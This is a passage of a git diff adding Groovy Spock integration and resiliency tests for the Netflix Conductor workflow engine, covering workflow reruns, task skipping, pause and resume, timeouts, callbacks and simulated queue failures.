== Task.Status.COMPLETED + tasks[1].taskType == 'integration_task_2' + tasks[1].status == Task.Status.SCHEDULED + } + + when: "poll and complete 'integration_task_2'" + def pollAndCompleteReRunTask2Try1 = workflowTestUtil.pollAndCompleteTask('integration_task_2', 'task2.integration.worker') + + then: "verify that the 'integration_task_2' has been polled and acknowledged" + verifyPolledAndAcknowledgedTask(pollAndCompleteReRunTask2Try1, ['tp1': inputParam1, 'tp2': 'task1.done']) + + and: "verify that the re run workflow is in a completed state" + with(workflowExecutionService.getExecutionStatus(reRun1WorkflowInstanceId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 2 + tasks[1].taskType == 'integration_task_2' + tasks[1].status == Task.Status.COMPLETED + output.containsKey('o3') + } + + when: "The completed workflow is re run" + def reRunWorkflowRequest2 = new RerunWorkflowRequest() + reRunWorkflowRequest2.reRunFromWorkflowId = workflowInstanceId + def reRun2WorkflowInstanceId = workflowExecutor.rerun(reRunWorkflowRequest2) + + + then: "verify that the workflow is in a running state" + with(workflowExecutionService.getExecutionStatus(reRun2WorkflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 1 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.SCHEDULED + } + + when: "Poll and complete the 'integration_task_1' " + def pollAndCompleteReRun2Task1Try1 = workflowTestUtil.pollAndCompleteTask('integration_task_1', 'task1.integration.worker', ['op': 'task1.done']) + + then: "verify that the 'integration_task_1' was polled and acknowledged" + verifyPolledAndAcknowledgedTask(pollAndCompleteReRun2Task1Try1) + + and: "verify that the 'integration_task1' is complete and the next task is scheduled" + with(workflowExecutionService.getExecutionStatus(reRun2WorkflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 2 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == 'integration_task_2' + tasks[1].status == Task.Status.SCHEDULED + } + + when: "poll and complete 'integration_task_2'" + def pollAndCompleteReRun2Task2Try1 = workflowTestUtil.pollAndCompleteTask('integration_task_2', 'task2.integration.worker') + + then: "verify that the 'integration_task_2' has been polled and acknowledged" + verifyPolledAndAcknowledgedTask(pollAndCompleteReRun2Task2Try1, ['tp1': inputParam1, 'tp2': 'task1.done']) + + and: "verify that the workflow is in a completed state" + with(workflowExecutionService.getExecutionStatus(reRun2WorkflowInstanceId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 2 + tasks[1].taskType == 'integration_task_2' + tasks[1].status == Task.Status.COMPLETED + output.containsKey('o3') + } + } + + def "Test task skipping in simple workflows"() { + + when: "A simple workflow is started" + String correlationId = 'unit_test_3' + UUID.randomUUID() + def input = new HashMap() + String inputParam1 = 'p1 value' + input['param1'] = inputParam1 + input['param2'] = 'p2 value' + + def workflowInstanceId = startWorkflow(TEST_WORKFLOW, 1, + correlationId, input, + null) + + then: "Ensure that the workflow has started" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 1 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.SCHEDULED + } + + when: "The second task in the workflow is skipped" + workflowExecutor.skipTaskFromWorkflow(workflowInstanceId, 't2', null) + + then: "Ensure that the second task in the workflow is skipped and the first one is still in scheduled state" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 2 + tasks[0].taskType == 'integration_task_2' + tasks[0].status == Task.Status.SKIPPED + tasks[1].taskType == 'integration_task_1' + tasks[1].status == Task.Status.SCHEDULED + } + + when: "Poll and complete the 'integration_task_1' " + def pollAndCompleteTask1Try1 = workflowTestUtil.pollAndCompleteTask('integration_task_1', 'task1.integration.worker', ['op': 'task1.done']) + + then: "verify that the 'integration_task_1' was polled and acknowledged" + verifyPolledAndAcknowledgedTask(pollAndCompleteTask1Try1) + + and: "Ensure that the third task is scheduled and the first one is in complete state" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 3 + tasks[1].taskType == 'integration_task_1' + tasks[1].status == Task.Status.COMPLETED + tasks[2].taskType == 'integration_task_3' + tasks[2].status == Task.Status.SCHEDULED + } + + when: "Poll and complete the 'integration_task_3' " + def pollAndCompleteTask3Try1 = workflowTestUtil.pollAndCompleteTask('integration_task_3', 'task3.integration.worker') + + then: "verify that the 'integration_task_1' was polled and acknowledged" + verifyPolledAndAcknowledgedTask(pollAndCompleteTask3Try1) + + and: "verify that the workflow is in a complete state" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 3 + tasks[2].taskType == 'integration_task_3' + tasks[2].status == Task.Status.COMPLETED + } + } + + def "Test pause and resume simple workflow"() { + + given: "input required to start the workflow execution" + String correlationId = 'unit_test_1' + def input = new HashMap() + String inputParam1 = 'p1 value' + input['param1'] = inputParam1 + input['param2'] = 'p2 value' + + when: "Start a workflow based on the registered simple workflow" + def workflowInstanceId = startWorkflow(LINEAR_WORKFLOW_T1_T2, 1, + correlationId, input, + null) + + then: "verify that the workflow is in a running state" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 1 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.SCHEDULED + } + + when: "The running workflow is paused" + workflowExecutor.pauseWorkflow(workflowInstanceId) + + and: "Poll and complete the 'integration_task_1' " + def pollAndCompleteTask1Try1 = workflowTestUtil.pollAndCompleteTask('integration_task_1', 'task1.integration.worker', ['op': 'task1.done']) + + then: "verify that the 'integration_task_1' was polled and acknowledged" + verifyPolledAndAcknowledgedTask(pollAndCompleteTask1Try1) + + and: "verify that the workflow is in PAUSED state and the next task is not scheduled" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.PAUSED + tasks.size() == 1 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + } + + when: "The next task in the workflow is polled for" + def task2Try1 = workflowExecutionService.poll('integration_task_2', 'task2.integration.worker') + + then: "verify that there was no task polled" + !task2Try1 + + when: "A decide is run explicitly" + workflowExecutor.decide(workflowInstanceId) + + and: "The next task is polled again" + def task2Try2 = workflowExecutionService.poll('integration_task_2', 'task2.integration.worker') + + then: "verify that there was no task polled" + !task2Try2 + + when: "The workflow is resumed" + workflowExecutor.resumeWorkflow(workflowInstanceId) + + then: "verify that the workflow was resumed and the next task is in a scheduled state" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 2 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == 'integration_task_2' + tasks[1].status == Task.Status.SCHEDULED + } + + when: "poll and complete 'integration_task_2'" + def pollAndCompleteTask2Try3 = workflowTestUtil.pollAndCompleteTask('integration_task_2', 'task2.integration.worker') + + then: "verify that the 'integration_task_2' has been polled and acknowledged" + verifyPolledAndAcknowledgedTask(pollAndCompleteTask2Try3, ['tp1': inputParam1, 'tp2': 'task1.done']) + + and: "verify that the re run workflow is in a completed state" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 2 + tasks[1].taskType == 'integration_task_2' + tasks[1].status == Task.Status.COMPLETED + output.containsKey('o3') + } + } + + def "Test wait time out task based simple workflow"() { + when: "Start a workflow based on a task that has a registered wait time out" + def workflowInstanceId = startWorkflow(WAIT_TIME_OUT_WORKFLOW, 1, + '', [:], null) + + then: "verify that the workflow is running and the first task scheduled" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 1 + tasks[0].taskType == 'WAIT' + tasks[0].status == Task.Status.IN_PROGRESS + } + + when: "A delay is introduced" + Thread.sleep(3000) + + and: "A decide is executed on the workflow" + workflowExecutor.decide(workflowInstanceId) + + then: "verify that the workflow is in running state and a replacement task has been scheduled due to time out" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 2 + tasks[0].taskType == 'WAIT' + tasks[0].status == Task.Status.TIMED_OUT + tasks[1].taskType == 'WAIT' + tasks[1].status == Task.Status.SCHEDULED + } + + when: "The wait task is completed" + def waitTask = workflowExecutionService.getExecutionStatus(workflowInstanceId, true).tasks[1] + waitTask.status = Task.Status.COMPLETED + workflowExecutor.updateTask(new TaskResult(waitTask)) + + and: "verify that the workflow is in running state and the next task is scheduled and 'waitTimeout' task is completed" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 3 + tasks[1].taskType == 'WAIT' + tasks[1].status == Task.Status.COMPLETED + tasks[2].taskType == 'integration_task_1' + tasks[2].status == Task.Status.SCHEDULED + } + + and: "Poll and complete the 'integration_task_1' " + def pollAndCompleteTask1Try1 = workflowTestUtil.pollAndCompleteTask('integration_task_1', 'task1.integration.worker', ['op': 'task1.done']) + + then: "verify that the 'integration_task_1' was polled and acknowledged" + verifyPolledAndAcknowledgedTask(pollAndCompleteTask1Try1) + + and: "The workflow is in a completed state" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 3 + tasks[2].taskType == 'integration_task_1' + tasks[2].status == Task.Status.COMPLETED + } + } + + def "Test simple workflow with callbackAfterSeconds for tasks"() { + + given: "input required to start the workflow execution" + String correlationId = 'unit_test_1' + def input = new HashMap() + String inputParam1 = 'p1 value' + input['param1'] = inputParam1 + input['param2'] = 'p2 value' + + when: "Start a workflow based on the registered simple workflow" + def workflowInstanceId = startWorkflow(LINEAR_WORKFLOW_T1_T2, 1, + correlationId, input, + null) + + then: "Ensure that the workflow has started" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 1 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.SCHEDULED + } + + when: "The first task is polled and then a callbackAfterSeconds is added to the task" + def task1Try1 = workflowExecutionService.poll('integration_task_1', 'task1.worker') + task1Try1.status = Task.Status.IN_PROGRESS + task1Try1.callbackAfterSeconds = 2L + workflowExecutionService.updateTask(new TaskResult(task1Try1)) + + then: "verify that the workflow is in running state and the task is in SCHEDULED" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 1 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.SCHEDULED + } + + when: "the 'integration_task_1' is polled again" + def task1Try2 = workflowExecutionService.poll('integration_task_1', 'task1.worker') + + then: "Ensure that there was no task polled due to the callBackAfterSeconds" + !task1Try2 + + then: "verify that the workflow is in running state and the task is in progress" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 1 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.SCHEDULED + } + + when: "There is a delay introduced to go over the callbackAfterSeconds interval" + Thread.sleep(2050) + + and: "the 'integration_task_1' is polled and completed" + def pollAndCompleteTask1Try1 = workflowTestUtil.pollAndCompleteTask('integration_task_1', 'task1.integration.worker', ['op': 'task1.done']) + + then: "verify that the 'integration_task_1' was polled and acknowledged" + verifyPolledAndAcknowledgedTask(pollAndCompleteTask1Try1) + + and: "verify that the workflow has moved forward and 'integration_task_1 is completed'" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 2 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == 'integration_task_2' + tasks[1].status == Task.Status.SCHEDULED + } + + when: "The second task is polled and then a callbackAfterSeconds is added to the task" + def task2Try1 = workflowExecutionService.poll('integration_task_2', 'task2.worker') + task2Try1.status = Task.Status.IN_PROGRESS + task2Try1.callbackAfterSeconds = 5L + workflowExecutionService.updateTask(new TaskResult(task2Try1)) + + then: "Verify that the workflow is in running state and the task is in scheduled state" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 2 + tasks[1].taskType == 'integration_task_2' + tasks[1].status == Task.Status.SCHEDULED + } + + when: "poll for 'integration_task_2'" + def task2Try2 = workflowExecutionService.poll('integration_task_2', 'task2.worker') + + then: "Ensure that there was no task polled due to the callBackAfterSeconds, even though the task is in scheduled state" + !task2Try2 + + when: "A delay is introduced to get over the callBackAfterSeconds interval" + Thread.sleep(5100) + + and: "the 'integration_task_2' is polled and completed" + def pollAndCompleteTask2Try1 = workflowTestUtil.pollAndCompleteTask('integration_task_2', 'task1.integration.worker') + + then: "verify that the 'integration_task_1' was polled and acknowledged" + verifyPolledAndAcknowledgedTask(pollAndCompleteTask2Try1) + + and: "verify that the workflow has moved forward and 'integration_task_1 is completed'" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 2 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == 'integration_task_2' + tasks[1].status == Task.Status.COMPLETED + } + } + + def "Test workflow with no tasks"() { + setup: "Create a workflow definition with no tasks" + WorkflowDef emptyWorkflowDef = new WorkflowDef() + emptyWorkflowDef.setName("empty_workflow") + emptyWorkflowDef.setSchemaVersion(2) + + when: "a workflow is started with this definition" + def input = new HashMap() + def correlationId = 'empty_workflow' + def workflowInstanceId = workflowExecutor.startWorkflow(new StartWorkflowInput(workflowDefinition: emptyWorkflowDef, workflowInput: input, correlationId: correlationId)) + + then: "the workflow is completed" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 0 + } + } + + def "Test task def template"() { + setup: "Register a task definition with input template" + TaskDef templatedTask = new TaskDef() + templatedTask.setName('templated_task') + def httpRequest = new HashMap<>() + httpRequest['method'] = 'GET' + httpRequest['vipStack'] = '${STACK2}' + httpRequest['uri'] = '/get/something' + def body = new HashMap<>() + body['inputPaths'] = Arrays.asList('${workflow.input.path1}', '${workflow.input.path2}') + body['requestDetails'] = '${workflow.input.requestDetails}' + body['outputPath'] = '${workflow.input.outputPath}' + httpRequest['body'] = body + templatedTask.inputTemplate['http_request'] = httpRequest + templatedTask.ownerEmail = "test@harness.com" + metadataService.registerTaskDef(Arrays.asList(templatedTask)) + + and: "set a system property for STACK2" + System.setProperty('STACK2', 'test_stack') + + and: "a workflow definition using this task is created" + WorkflowTask workflowTask = new WorkflowTask() + workflowTask.setName(templatedTask.getName()) + workflowTask.setWorkflowTaskType(TaskType.SIMPLE) + workflowTask.setTaskReferenceName("t0") + + WorkflowDef templateWorkflowDef = new WorkflowDef() + templateWorkflowDef.setName("template_workflow") + templateWorkflowDef.getTasks().add(workflowTask) + templateWorkflowDef.setSchemaVersion(2) + templateWorkflowDef.setOwnerEmail("test@harness.com") + metadataService.registerWorkflowDef(templateWorkflowDef) + + and: "the input to the workflow is curated" + def requestDetails = new HashMap<>() + requestDetails['key1'] = 'value1' + requestDetails['key2'] = 42 + + Map input = new HashMap<>() + input['path1'] = 'file://path1' + input['path2'] = 'file://path2' + input['outputPath'] = 's3://bucket/outputPath' + input['requestDetails'] = requestDetails + + when: "the workflow is started" + def correlationId = 'workflow_taskdef_template' + def workflowInstanceId = workflowExecutor.startWorkflow(new StartWorkflowInput(workflowDefinition: templateWorkflowDef, workflowInput: input, correlationId: correlationId)) + + then: "the workflow is in running state" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 1 + tasks[0].inputData.get('http_request') instanceof Map + tasks[0].inputData.get('http_request')['method'] == 'GET' + tasks[0].inputData.get('http_request')['vipStack'] == 'test_stack' + tasks[0].inputData.get('http_request')['body'] instanceof Map + tasks[0].inputData.get('http_request')['body']['requestDetails'] instanceof Map + tasks[0].inputData.get('http_request')['body']['requestDetails']['key1'] == 'value1' + tasks[0].inputData.get('http_request')['body']['requestDetails']['key2'] == 42 + tasks[0].inputData.get('http_request')['body']['outputPath'] == 's3://bucket/outputPath' + tasks[0].inputData.get('http_request')['body']['inputPaths'] instanceof List + tasks[0].inputData.get('http_request')['body']['inputPaths'][0] == 'file://path1' + tasks[0].inputData.get('http_request')['body']['inputPaths'][1] == 'file://path2' + tasks[0].inputData.get('http_request')['uri'] == '/get/something' + } + } + + def "Test task def created if not exist"() { + setup: "Register a workflow definition with task def not registered" + def taskDefName = "task_not_registered" + WorkflowTask workflowTask = new WorkflowTask() + workflowTask.setName(taskDefName) + workflowTask.setWorkflowTaskType(TaskType.SIMPLE) + workflowTask.setTaskReferenceName("t0") + + WorkflowDef testWorkflowDef = new WorkflowDef() + testWorkflowDef.setName("test_workflow") + testWorkflowDef.getTasks().add(workflowTask) + testWorkflowDef.setSchemaVersion(2) + testWorkflowDef.setOwnerEmail("test@harness.com") + metadataService.registerWorkflowDef(testWorkflowDef) + + when: "the workflow is started" + def correlationId = 'workflow_taskdef_not_registered' + def workflowInstanceId = workflowExecutor.startWorkflow(new StartWorkflowInput(workflowDefinition: testWorkflowDef, workflowInput: [:], correlationId: correlationId)) + + then: "the workflow is in running state" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 1 + tasks[0].taskDefName == taskDefName + } + } +} diff --git a/test-harness/src/test/groovy/com/netflix/conductor/test/resiliency/QueueResiliencySpec.groovy b/test-harness/src/test/groovy/com/netflix/conductor/test/resiliency/QueueResiliencySpec.groovy new file mode 100644 index 0000000..cf4bb15 --- /dev/null +++ b/test-harness/src/test/groovy/com/netflix/conductor/test/resiliency/QueueResiliencySpec.groovy @@ -0,0 +1,554 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.test.resiliency + +import org.springframework.beans.factory.annotation.Autowired +import org.springframework.http.HttpStatus +import org.springframework.test.context.TestPropertySource + +import com.netflix.conductor.common.metadata.tasks.Task +import com.netflix.conductor.common.metadata.tasks.TaskResult +import com.netflix.conductor.common.metadata.workflow.RerunWorkflowRequest +import com.netflix.conductor.common.metadata.workflow.StartWorkflowRequest +import com.netflix.conductor.common.run.Workflow +import com.netflix.conductor.common.utils.ExternalPayloadStorage +import com.netflix.conductor.core.exception.NotFoundException +import com.netflix.conductor.core.exception.TransientException +import com.netflix.conductor.core.utils.QueueUtils +import com.netflix.conductor.core.utils.Utils +import com.netflix.conductor.rest.controllers.TaskResource +import com.netflix.conductor.rest.controllers.WorkflowResource +import com.netflix.conductor.test.base.AbstractResiliencySpecification + +import spock.lang.Ignore + +/** + * When QueueDAO is unavailable, + * Ensure All Worklow and Task resource endpoints either: + * 1. Fails and/or throws an Exception + * 2. Succeeds + * 3. Doesn't involve QueueDAO + */ +@TestPropertySource(properties = "conductor.app.workflow.name-validation.enabled=true") +@Ignore +//FIXME Interaction based testing won't work. Spy doesn't detect/intercept any calls because BaseRedisQueueDAO +// methods are final. +// No test in this class currently works. +class QueueResiliencySpec extends AbstractResiliencySpecification { + + @Autowired + WorkflowResource workflowResource + + @Autowired + TaskResource taskResource + + def SIMPLE_TWO_TASK_WORKFLOW = 'integration_test_wf' + + def setup() { + workflowTestUtil.taskDefinitions() + workflowTestUtil.registerWorkflows( + 'simple_workflow_1_integration_test.json' + ) + } + + /// Workflow Resource endpoints + + def "Verify Start workflow fails when QueueDAO is unavailable"() { + when: "Start a simple workflow" + def response = workflowResource.startWorkflow(new StartWorkflowRequest() + .withName(SIMPLE_TWO_TASK_WORKFLOW) + .withVersion(1)) + then: "Verify workflow starts when there are no Queue failures" + response + + when: "We try same request Queue failure" + response = workflowResource.startWorkflow(new StartWorkflowRequest() + .withName(SIMPLE_TWO_TASK_WORKFLOW) + .withVersion(1)) + + then: "Verify that workflow start fails with BACKEND_ERROR" + 1 * queueDAO.push(*_) >> { throw new TransientException("Queue push failed from Spy") } + thrown(TransientException.class) + } + + def "Verify terminate succeeds when QueueDAO is unavailable"() { + when: "Start a simple workflow" + def workflowInstanceId = workflowResource.startWorkflow(new StartWorkflowRequest() + .withName(SIMPLE_TWO_TASK_WORKFLOW) + .withVersion(1)) + then: "Verify workflow is started" + with(workflowResource.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 1 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.SCHEDULED + } + + when: "We terminate it when QueueDAO is unavailable" + workflowResource.terminate(workflowInstanceId, "Terminated from a test") + + then: "Verify that terminate is successful without any exceptions" + 2 * queueDAO.remove(*_) >> { throw new TransientException("Queue remove failed from Spy") } + 0 * queueDAO._ + with(workflowResource.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.TERMINATED + tasks.size() == 1 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.CANCELED + } + } + + def "Verify Restart workflow fails when QueueDAO is unavailable"() { + when: "Start a simple workflow" + def workflowInstanceId = workflowResource.startWorkflow(new StartWorkflowRequest() + .withName(SIMPLE_TWO_TASK_WORKFLOW) + .withVersion(1)) + + and: "We terminate it when QueueDAO is unavailable" + workflowResource.terminate(workflowInstanceId, "Terminated from a test") + + then: "Verify that workflow is in terminated state" + with(workflowResource.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.TERMINATED + tasks.size() == 1 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.CANCELED + } + + when: "We restart workflow when QueueDAO is unavailable" + workflowResource.restart(workflowInstanceId, false) + + then: "" + 1 * queueDAO.push(*_) >> { throw new TransientException("Queue push failed from Spy") } + 1 * queueDAO.remove(*_) >> { throw new TransientException("Queue remove failed from Spy") } + 0 * queueDAO._ + thrown(TransientException.class) + with(workflowResource.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.TERMINATED + tasks.size() == 0 + } + } + + def "Verify rerun fails when QueueDAO is unavailable"() { + when: "Start a simple workflow" + def workflowInstanceId = workflowResource.startWorkflow(new StartWorkflowRequest() + .withName(SIMPLE_TWO_TASK_WORKFLOW) + .withVersion(1)) + + and: "terminate it" + workflowResource.terminate(workflowInstanceId, "Terminated from a test") + + then: "Verify that workflow is in terminated state" + with(workflowResource.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.TERMINATED + tasks.size() == 1 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.CANCELED + } + + when: "Workflow is rerun when QueueDAO is unavailable" + def rerunWorkflowRequest = new RerunWorkflowRequest() + rerunWorkflowRequest.setReRunFromWorkflowId(workflowInstanceId) + workflowResource.rerun(workflowInstanceId, rerunWorkflowRequest) + + then: "" + 1 * queueDAO.push(*_) >> { throw new TransientException("Queue push failed from Spy") } + 0 * queueDAO._ + thrown(TransientException.class) + with(workflowResource.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.TERMINATED + tasks.size() == 0 + } + } + + def "Verify retry fails when QueueDAO is unavailable"() { + when: "Start a simple workflow" + def workflowInstanceId = workflowResource.startWorkflow(new StartWorkflowRequest() + .withName(SIMPLE_TWO_TASK_WORKFLOW) + .withVersion(1)) + + and: "terminate it" + workflowResource.terminate(workflowInstanceId, "Terminated from a test") + + then: "Verify that workflow is in terminated state" + with(workflowResource.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.TERMINATED + tasks.size() == 1 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.CANCELED + } + + when: "workflow is restarted when QueueDAO is unavailable" + workflowResource.retry(workflowInstanceId, false) + + then: "Verify retry fails" + 1 * queueDAO.push(*_) >> { throw new TransientException("Queue push failed from Spy") } + 0 * queueDAO._ + thrown(TransientException.class) + with(workflowResource.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.TERMINATED + tasks.size() == 1 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.CANCELED + } + } + + def "Verify getWorkflow succeeds when QueueDAO is unavailable"() { + when: "Start a simple workflow" + def workflowInstanceId = workflowResource.startWorkflow(new StartWorkflowRequest() + .withName(SIMPLE_TWO_TASK_WORKFLOW) + .withVersion(1)) + then: "Verify workflow is started" + with(workflowResource.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 1 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.SCHEDULED + } + + when: "We get a workflow when QueueDAO is unavailable" + def workflow = workflowResource.getExecutionStatus(workflowInstanceId, true) + + then: "Verify workflow is returned" + 0 * queueDAO._ + workflow.getStatus() == Workflow.WorkflowStatus.RUNNING + workflow.getTasks().size() == 1 + workflow.getTasks()[0].status == Task.Status.SCHEDULED + } + + def "Verify getWorkflows succeeds when QueueDAO is unavailable"() { + when: "Start a simple workflow" + def workflowInstanceId = workflowResource.startWorkflow(new StartWorkflowRequest() + .withName(SIMPLE_TWO_TASK_WORKFLOW) + .withVersion(1)) + then: "Verify workflow is started" + with(workflowResource.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 1 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.SCHEDULED + } + + when: "We get a workflow when QueueDAO is unavailable" + def workflows = workflowResource.getWorkflows(SIMPLE_TWO_TASK_WORKFLOW, "", true, true) + + then: "Verify queueDAO is not involved and an exception is not thrown" + 0 * queueDAO._ + notThrown(Exception) + } + + def "Verify remove workflow succeeds when QueueDAO is unavailable"() { + when: "Start a simple workflow" + def workflowInstanceId = workflowResource.startWorkflow(new StartWorkflowRequest() + .withName(SIMPLE_TWO_TASK_WORKFLOW) + .withVersion(1)) + then: "Verify workflow is started" + + with(workflowResource.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 1 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.SCHEDULED + } + + when: "We get a workflow when QueueDAO is unavailable" + workflowResource.delete(workflowInstanceId, false) + + then: "Verify queueDAO is called to remove from _deciderQueue" + 1 * queueDAO.remove(Utils.DECIDER_QUEUE, _) + + when: "We try to get deleted workflow, verify the status and check if tasks are not removed from queue" + with(workflowResource.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.TERMINATED + tasks.size() == 1 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.CANCELED + 0 * queueDAO.remove(QueueUtils.getQueueName(tasks[0]), _) + } + + then: + thrown(NotFoundException.class) + } + + def "Verify decide succeeds when QueueDAO is unavailable"() { + when: "Start a simple workflow" + def workflowInstanceId = workflowResource.startWorkflow(new StartWorkflowRequest() + .withName(SIMPLE_TWO_TASK_WORKFLOW) + .withVersion(1)) + + then: "Verify workflow is started" + with(workflowResource.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 1 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.SCHEDULED + } + + when: "We decide a workflow" + workflowResource.decide(workflowInstanceId) + + then: "Verify queueDAO is not involved" + 0 * queueDAO._ + } + + def "Verify pause succeeds when QueueDAO is unavailable"() { + when: "Start a simple workflow" + def workflowInstanceId = workflowResource.startWorkflow(new StartWorkflowRequest() + .withName(SIMPLE_TWO_TASK_WORKFLOW) + .withVersion(1)) + + then: "Verify workflow is started" + with(workflowResource.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 1 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.SCHEDULED + } + + when: "The workflow is paused when QueueDAO is unavailable" + workflowResource.pauseWorkflow(workflowInstanceId) + + then: "Verify workflow is paused without any exceptions" + 1 * queueDAO.remove(*_) >> { throw new IllegalStateException("Queue remove failed from Spy") } + 0 * queueDAO._ + with(workflowResource.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.PAUSED + tasks.size() == 1 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.SCHEDULED + } + } + + def "Verify resume fails when QueueDAO is unavailable"() { + when: "Start a simple workflow" + def workflowInstanceId = workflowResource.startWorkflow(new StartWorkflowRequest() + .withName(SIMPLE_TWO_TASK_WORKFLOW) + .withVersion(1)) + + then: "Verify workflow is started" + with(workflowResource.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 1 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.SCHEDULED + } + + when: "The workflow is paused" + workflowResource.pauseWorkflow(workflowInstanceId) + + then: "Verify workflow is paused" + with(workflowResource.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.PAUSED + tasks.size() == 1 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.SCHEDULED + } + + when: "Workflow is resumed when QueueDAO is 